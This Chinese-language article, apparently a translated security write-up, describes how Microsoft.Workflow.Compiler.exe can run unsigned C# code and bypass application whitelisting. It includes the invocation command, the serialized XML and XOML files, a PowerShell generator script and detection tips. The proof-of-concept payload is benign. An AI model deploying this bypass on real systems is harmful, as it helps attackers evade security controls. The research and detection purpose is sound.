溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼

發(fā)布時間:2021-11-11 11:57:34 來源:億速云 閱讀:151 作者:柒染 欄目:編程語言

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細(xì)講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

繞過技術(shù)

Microsoft.Workflow.Comiler.exe是.NET Framework默認(rèn)自帶的一個實用工具,用戶能夠以XOML工作流文件的形式提供一個序列化工作流來執(zhí)行任意未簽名的代碼。這種繞過技術(shù)跟CaseySmith的msbuild.exe繞過技術(shù)的工作機(jī)制非常類似。Microsoft.Workflow.Comiler.exe需要兩個命令行參數(shù),第一個參數(shù)必須是一個XML文件(由一個序列化CompilerInput對象構(gòu)成)的路徑,第二個參數(shù)則是寫入序列化編譯結(jié)果的文件路徑。

執(zhí)行向量的根節(jié)點(diǎn)是Microsoft.Workflow.Comiler.exe調(diào)用攻擊者提供的Assembly.Load(byte[])方法,但是僅僅加載編譯文件并不能實現(xiàn)代碼執(zhí)行,當(dāng)攻擊者以XOML文件的形式提供C#或VB.Net代碼時,系統(tǒng)在匯編過程中會調(diào)用類構(gòu)造器,這里唯一的限制是類構(gòu)造器必須派生自System.Workflow.ComponentModel.Activity類。

這種技術(shù)可以繞過目前很多安全產(chǎn)品上的代碼完整性控制機(jī)制,例如WindowsDefender應(yīng)用程序控制(包括Windows 10S)、AppLocker以及其他基于應(yīng)用白名單的產(chǎn)品。但是這里我們并不是要擔(dān)心如何繞過應(yīng)用白名單,我們需要關(guān)注的是如何通過已簽名且受信任程度高的內(nèi)置應(yīng)用程序來執(zhí)行任意未簽名的代碼。

繞過技術(shù)PoC

攻擊流程如下:

1.將制作的XOML文件存儲到目標(biāo)磁盤中,XOML文件中應(yīng)包含攻擊者提供的C#或VB.Net代碼以供編譯、加載和調(diào)用。攻擊邏輯需在類構(gòu)造函數(shù)中實現(xiàn),該類派生自System.Workflow.ComponetModel.Activity類。

2.將包含序列化CompilerInput對象的XML文件存儲到目標(biāo)磁盤中。

3.提供XML路徑,執(zhí)行Microsoft.Workflow.Comiler.exe。

下面給出的是Microsoft.Workflow.Comiler.exe的調(diào)用樣例:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exetest.xml results.xml

test.xml文件的內(nèi)容如下:

<?xml version="1.0"encoding="utf-8"?><CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance"xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler"><filesxmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><d2p1:string>test.xoml</d2p1:string></files><parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler"><assemblyNamesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><compilerOptionsi:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><coreAssemblyFileNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName><embeddedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><evidencexmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy"i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><generateExecutablexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable><generateInMemoryxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory><includeDebugInformationxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation><linkedResourcesxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><mainClass i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><outputNamexmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName><tempFiles i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><treatWarningsAsErrorsxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors><warningLevelxmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel><win32Resource i:nil="true"xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/><d2p1:checkTypes>false</d2p1:checkTypes><d2p1:compileWithNoCode>false</d2p1:compileWithNoCode><d2p1:compilerOptionsi:nil="true" /><d2p1:generateCCU>false</d2p1:generateCCU><d2p1:languageToUse>CSharp</d2p1:languageToUse><d2p1:libraryPathsxmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays"i:nil="true" /><d2p1:localAssemblyxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection"i:nil="true" /><d2p1:mtInfo i:nil="true"/><d2p1:userCodeCCUsxmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom"i:nil="true" /></parameters></CompilerInput>

test.xoml文件的內(nèi)容如下:

<SequentialWorkflowActivityx:Class="MyWorkflow" x:Name="MyWorkflow" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">   <CodeActivity x:Name="codeActivity1" />   <x:Code><![CDATA[   public class Foo : SequentialWorkflowActivity {    public Foo() {            Console.WriteLine("FOOO!!!!");       }   }   ]]></x:Code></SequentialWorkflowActivity>

調(diào)用Microsoft.Workflow.Compiler.exe之后,它將會編譯其中的C#代碼、加載已編譯的DLL、并調(diào)用“Foo”構(gòu)造器。

漏洞的發(fā)現(xiàn)過程

我個人比較喜歡去研究關(guān)于.NET Framework方法的安全問題,比如說其中一個不安全的方法就是Assembly.Load(byte[])。這里我選擇使用dnSpy工具來進(jìn)行掃描判斷,并在System.Workflow.ComponentModel.Compiler.WorkflowCompilerInternal.Compile方法中找到了如下所示的代碼段:

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼

分析GenerateLocalAssembly方法的工作流程之后,我發(fā)現(xiàn)這個方法最終會調(diào)用標(biāo)準(zhǔn)的.NET編譯/加載方法【相關(guān)資料】:

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼

僅僅加載一個匯編程序并不能實現(xiàn)任意代碼執(zhí)行,不過幸運(yùn)的是,System.Workflow.ComponentModel.Compiler.XomlCompilerHelper.InternalCompileFromDomBatch方法會遍歷所有已加載的匯編程序,然后實例化所有繼承了System.Workflow.ComponentModel.Activity類的實例:

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼

現(xiàn)在,我們幾乎已經(jīng)看到了任意代碼執(zhí)行的“希望了”,接下來我們需要弄清楚到底使用哪種代碼格式,才能讓程序的編譯器接收輸入數(shù)據(jù)以及XOML工作流文件。

當(dāng)Microsoft.Workflow.Compiler.exe啟動時,會將第一個參數(shù)傳遞給ReadCompilerInput方法,該方法接收到文件路徑之后,會將其反序列化為CompilerInput對象:

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼

那么現(xiàn)在的問題就在于,如何才能生成序列化的CompilerInput對象呢?這里我找到了一個名叫Microsoft.Workflow.Compiler.CompilerWrapper.SerializeInputToWrapper的內(nèi)部方法:

如何利用Microsoft.Workflow.Comiler執(zhí)行未簽名的任意代碼

我還專門編寫了一個PowerShell函數(shù)來實現(xiàn)XML文件的自動生成:

function New-CompilerInputXml {<#.SYNOPSISCreates a an XML file consisting of aserialized CompilerInput object..DESCRIPTIONNew-CompilerInputXml creates an XML fileconsisting of compiler options. This file is required as the first argument forMicrosoft.Workflow.Compiler.exe..PARAMETER XOMLPathSpecifies the path to the target XOMLfile. This can be a relative or absolute path. This path will be included inthe resulting XML file that New-CompilerInputXml outputs..PARAMETER OutputPathSpecifies the path to whichNew-CompilerInputXml will save the serialized CompilerInput object..EXAMPLENew-CompilerInputXml -XOMLPathC:\Test\foo.xoml -OutputPath test.xmlOutputs a serialized CompilerInput objectto test.xml and specifies a full path to a XOML assembly reference..EXAMPLENew-CompilerInputXml -XOMLPath foo.xoml-OutputPath test.txtOutputs a serialized CompilerInput objectto test.txt and specifies a XOML assembly reference using a relative path. Notethat Microsoft.Workflow.Compiler.exe doesn't care about the extension suppliedin the first argument..OUTPUTSSystem.IO.FileInfoOutputs a FileInfo object to serve asconfirmation that the resulting serialized XML wil was created.#>    [OutputType([System.IO.FileInfo])]   param (       [String]       [ValidateNotNullOrEmpty()]       $XOMLPath = 'test.xoml',        [Parameter(Mandatory = $True)]       [String]       [ValidateNotNullOrEmpty()]       $OutputPath   )    # This assembly won't be loaded by default. We need to load   # it in order to get access to the WorkflowCompilerParameters class.   Add-Type -AssemblyName 'System.Workflow.ComponentModel'    # This class contains the properties we need to specify forMicrosoft.Workflow.Compiler.exe   $WFCompilerParams = New-Object -TypeNameWorkflow.ComponentModel.Compiler.WorkflowCompilerParameters    # Necessary to get Microsoft.Workflow.Compiler.exe to callAssembly.Load(byte[])   $WFCompilerParams.GenerateInMemory = $True    # Full path to Microsoft.Workflow.Compiler.exe that we will load andaccess a non-public method from   $WorkflowCompilerPath =[Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory() +'Microsoft.Workflow.Compiler.exe'    # Load the assembly   $WFCAssembly = [Reflection.Assembly]::LoadFrom($WorkflowCompilerPath)    # This is the helper method that will serialize the CompilerInput objectto disk   $SerializeInputToWrapper =[Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper',[Reflection.BindingFlags] 'NonPublic, Static')    $TempFile = $SerializeInputToWrapper.Invoke($null,@([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters]$WFCompilerParams, [String[]] @(,$OutputPath)))    Move-Item $TempFile $OutputPath -PassThru}

實際上我們只需要改變序列化CompilerInput對象中XOML文件的路徑/文件名即可。

最后,我們需要將生成的C#代碼嵌入到XOML文件中,最后通過Microsoft.Workflow.Compiler.exe來調(diào)用我們的惡意函數(shù)。

整個過程就是這樣,不過我現(xiàn)在仍不清楚Microsoft.Workflow.Compiler.exe的真正用途到底是什么,而且XOML文件的意義我也不清楚,但是我感覺這個程序可能主要是給微軟內(nèi)部人員使用的。

檢測方法

1.首先,檢查當(dāng)前系統(tǒng)中Microsoft.Workflow.Compiler.exe的使用情況,一般來說系統(tǒng)幾乎不會用到這個工具。在Microsoft.Workflow.Compiler.exe每次運(yùn)行時都產(chǎn)生警報,由于攻擊者可以對該工具進(jìn)行重命名,因此我們還需要構(gòu)建相應(yīng)的檢測規(guī)則    。

2.攻擊者在結(jié)合Microsoft.Workflow.Compiler.exe運(yùn)行惡意軟件時,會生成一個csc.exe或vbc.exe子進(jìn)程,可以通過檢測這兩個子進(jìn)程來判斷系統(tǒng)的安全狀況。

3.在構(gòu)建和部署Yara規(guī)則時,如果文件中包含CompilerInput標(biāo)簽,那么該文件則可以標(biāo)記為“可疑文件”。

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進(jìn)一步的了解或閱讀更多相關(guān)文章,請關(guān)注億速云行業(yè)資訊頻道,感謝您對億速云的支持。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI